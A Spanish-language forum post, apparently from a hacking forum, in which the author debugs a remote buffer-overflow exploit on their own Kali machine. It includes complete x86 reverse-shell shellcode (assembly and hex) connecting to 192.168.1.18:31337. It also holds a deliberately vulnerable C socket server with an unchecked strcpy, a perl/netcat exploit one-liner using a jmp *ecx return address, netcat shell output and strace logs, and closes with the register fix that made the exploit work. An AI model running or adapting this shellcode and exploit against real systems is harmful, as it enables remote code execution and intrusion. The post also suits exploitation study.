Código
section .text global _start _start: xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov al, 102 ; __NR_socketcall inc bl ; socket push ecx push 0x6 ; IPPROTO_TCP push 0x1 ; SOCK_STREAM push 0x2 ; AF_INET mov ecx, esp int 0x80 ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) mov esi, eax ; esi = descriptor de socket mov al, 0x66 ; __NR_socketcall mov bl, 0x2 push 0x1201a8c0 ; addr = 192.168.1.18 push word 0x697a ; port = 31337 push bx ; AF_INET inc bl mov ecx, esp push 0x10 push ecx push esi mov ecx, esp int 0x80 xor ecx, ecx mov cl, 3 bucle: dec cl mov al, 0x3f int 0x80 ; dup2 jne bucle xor eax, eax push edx push 0x68732f6e push 0x69622f2f mov ebx, esp push edx push ebx mov ecx, esp push edx mov edx, esp mov al, 0xb int 0x80
Funciona a la perfección tras compilarlo con un "nasm sc.asm", extraer los opcodes con xxd y probarlo mediante este programa en c, compilado con el flag "-z execstack":
Código:
#include <stdio.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66 \
\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89 \
\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68 \
\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53 \
\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1 \
\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f \
\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f \
\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52 \
\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";
void main()
{
void (*fp)();
fp = (void*) &shellcode;
fp();
}
Este es el resultado. Pantalla 1:
Código:
arget@kali:~/exploiting/remote$ ./prueba #tras esto se quedó suspendido hasta que cerré la conexión desde el otro
arget@kali:~/exploiting/remote$
Pantalla 2:
Código:
arget@kali:~/exploiting/remote$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50026
whoami
arget
exit
sent 12, rcvd 6
arget@kali:~/exploiting/remote$
Sin embargo, en este código la cosa cambia:
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int vuln(char* arg, int newsockfd)
{
int n;
char vul[128];
strcpy(vul, arg);
n = write(newsockfd, vul, strlen(vul));
return n;
}
void shell()
{
__asm__("jmp *%ecx");
}
void error(const char *msg)
{
perror(msg);
exit(1);
}
int main(int argc, char **argv)
{
int sockfd, newsockfd, portno;
socklen_t clilen;
char buffer[256];
struct sockaddr_in serv_addr, cli_addr;
int n;
if(argc < 2)
{
fprintf(stderr, "ERROR, no se ha indicado puerto\n");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0)
error("ERROR al abrir el socket");
bzero((char*) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if(bind(sockfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR en bind()");
listen(sockfd, 5);
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr*) &cli_addr, &clilen);
if(newsockfd < 0)
error("ERROR en accept");
bzero(buffer, 256);
n = read(newsockfd, buffer, 255);
if(n < 0)
error("ERROR leyendo del socket");
printf("%s", buffer);
n = vuln(buffer, newsockfd);
if(n < 0)
error("ERROR escribiendo en el socket");
close(newsockfd);
close(sockfd);
return 0;
}
Al analizarlo con gdb una vez ya compilado (con el flag -z execstack) se observa que en vuln() se reservan 140 bytes antes de ebp, por tanto 144 antes que eip, también que en el momento de ejecutar el "ret" de vuln(), ecx apunta al comienzo del buffer.
Mediante objdump se obtiene que el "jmp *%ecx" se encuentra en 0x0804875c, esta dirección no va a variar ni aún teniendo ASLR activado como es el caso.
Perfecto. Pongo en una ventana un "nc -lvvp31337" a escuchar. En otra ventana ejecuto "./v 1337" (pongo el programa vulnerable a escuchar en 1337), y desde la terminal que simularía ser la terminal atacante ejecuto:
Código:
perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x83\xc4\x08\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 127.0.0.1 1337
Lo primero de todo, decir que en la primera prueba no salió como esperaba, analizando la memoria del proceso observé que había un punto en el que el shellcode se sobreescribía a sí mismo impidiendo el último "int 0x80", de modo que antes del último "xor eax, eax" añadí un "add esp, 0x8" y se solucionó (habría valido con 0x4, pero al añadir esa línea el código crecía 3 bytes, de manera que tuve que dejar más espacio, y para mantener la paridad, en lugar de usar 0x7 usé 0x8), aparte, creo que no tiene nada que ver con el problema de ahora.
En la primera pantalla ("nc -lvvp31337"), aparece esto:
Código:
arget@kali:~$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50030
sent 0, rcvd 0
arget@kali:~$
Ambas conexiones se cierran, pero está claro que el programa vulnerable ha ejecutado una conexión hacia el puerto 31337, aparte que no informa de errores de segmentación, incluso termina con valor de retorno 0. Ahora explico por qué mientras lanzo mi duda.
Si "v" lo ejecuto mediante "strace ./v 1337" me muestra las llamadas al sistema que realiza:
Código:
execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL) = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ) = 0
mprotect(0xb77bc000, 4096, PROT_READ) = 0
munmap(0xb7778000, 127778) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5) = 0
accept(3,
Y aquí se queda suspendido, ahora yo en la otra ventana ejecuto mi perl:
Código:
arget@kali:~/exploiting/remote$ perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x83\xc4\x08\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 127.0.0.1 1337
1�1�1�1Ұf��Qjjj��̀�ưf�h��fhzifS�É�jQV��̀1ɱ�ɰ?̀u��1�Rhn/shh//bi��RS��R���
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\�arget@kali:~/exploiting/remote$
Todos esos caracteres son normales ("v" lo que hace es un eco de lo que le mandas, si yo le mando caracteres no imprimibles como los del shellcode, devuelve eso), pero no es normal que se cierre la conexión. Vamos a la pantalla del "nc -lvvp31337" y nos sorprende un:
Código:
arget@kali:~$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50032
sent 0, rcvd 0
arget@kali:~$
Aunque supongo que ya nos lo esperábamos todos... Vayamos al strace, este ha continuado y muestra datos muy interesantes:
Código:
arget@kali:~/exploiting/remote$ strace ./v 1337
execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL) = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ) = 0
mprotect(0xb77bc000, 4096, PROT_READ) = 0
munmap(0xb7778000, 127778) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5) = 0
accept(3, {sa_family=AF_INET, sin_port=htons(60865), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
read(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 255) = 148
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7797000
write(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 148) = 148
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL) = 0xb88bf000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7768000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 6
fstat64(6, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 6, 0) = 0xb7748000
close(6) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 6
read(6, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(6, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0xb759e000
mmap2(0xb7742000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x1a4000) = 0xb7742000
mmap2(0xb7745000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7745000
close(6) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb759d000
set_thread_area({entry_number:-1, base_addr:0xb759d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7742000, 8192, PROT_READ) = 0
mprotect(0xb77ab000, 4096, PROT_READ) = 0
mprotect(0xb778c000, 4096, PROT_READ) = 0
munmap(0xb7748000, 127778) = 0
getpid() = 1993
rt_sigaction(SIGCHLD, {0xb779ebc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32() = 1000
getppid() = 1991
brk(NULL) = 0xb88bf000
brk(0xb88e0000) = 0xb88e0000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbfbcbea8) = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, 0xb77ac6c0, 8192) = -1 ENOTCONN (Transport endpoint is not connected)
exit_group(0) = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$
¿Qué ha ocurrido? Simple, primero ha realizado lo que el programa ejecuta legítimamente, socket(); bind(); listen(); accept(); read(); write(); .
Este trozo de aquí:
Código:
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
Lo ejecuta el shellcode, como veis, logra ejecutar hasta /bin/sh..., lo de más abajo es todo de sh. Pero por algún motivo este programa (sh) se cierra inesperadamente, pero limpiamente, provocando que "v" salga también limpiamente (con 0) gracias al exit_group().
Lo impresionante es que si hago un "strace ./prueba" (el programa en C de prueba del shellcode), funciona a la perfección:
Código:
arget@kali:~/exploiting/remote$ strace ./prueba
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL) = 0x8656000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ) = 0
mprotect(0xb776c000, 4096, PROT_READ) = 0
munmap(0xb7728000, 127778) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL) = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ) = 0
mprotect(0xb7720000, 4096, PROT_READ) = 0
mprotect(0xb7701000, 4096, PROT_READ) = 0
munmap(0xb76bd000, 127778) = 0
getpid() = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32() = 1000
getppid() = 2027
brk(NULL) = 0xb89de000
brk(0xb89ff000) = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38) = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0,
Y se queda suspendido, mientras en la otra pantalla tengo los privilegios de arget de nuevo. Lo más gracioso de todo es que las llamadas al sistema son iguales, solo cambian un par de direcciones que no deberían afectar.
Para darlo todo completo, cuando cierro la conexión en strace queda esto:
Código:
arget@kali:~/exploiting/remote$ strace ./prueba
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL) = 0x8656000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ) = 0
mprotect(0xb776c000, 4096, PROT_READ) = 0
munmap(0xb7728000, 127778) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL) = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ) = 0
mprotect(0xb7720000, 4096, PROT_READ) = 0
mprotect(0xb7701000, 4096, PROT_READ) = 0
munmap(0xb76bd000, 127778) = 0
getpid() = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32() = 1000
getppid() = 2027
brk(NULL) = 0xb89de000
brk(0xb89ff000) = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38) = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, "exit\n", 8192) = 5
exit_group(0) = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$
Por si sirve de algo:
Código:
arget@kali:~/exploiting/remote$ uname -a
Linux kali 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linux
Código:
arget@kali:~/exploiting/remote$ cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Celeron(R) CPU 900 @ 2.20GHz
stepping : 10
microcode : 0xa0b
cpu MHz : 2194.963
cache size : 1024 KB
physical id : 0
siblings : 1
core id : 0
cpu cores : 1
apicid : 0
initial apicid : 0
fdiv_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 13
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss tm pbe nx lm constant_tsc arch_perfmon pebs bts aperfmperf pni dtes64 monitor ds_cpl tm2 ssse3 cx16 xtpr pdcm xsave lahf_lm dtherm
bugs :
bogomips : 4389.92
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:
arget@kali:~/exploiting/remote$
Era necesario indicar a dup2 el descriptor de socket moviendo a ebx el valor guardado anteriormente en esi mediante un "mov ebx, esi" justo antes de la etiqueta "bucle". Gracias por vuestra ayuda.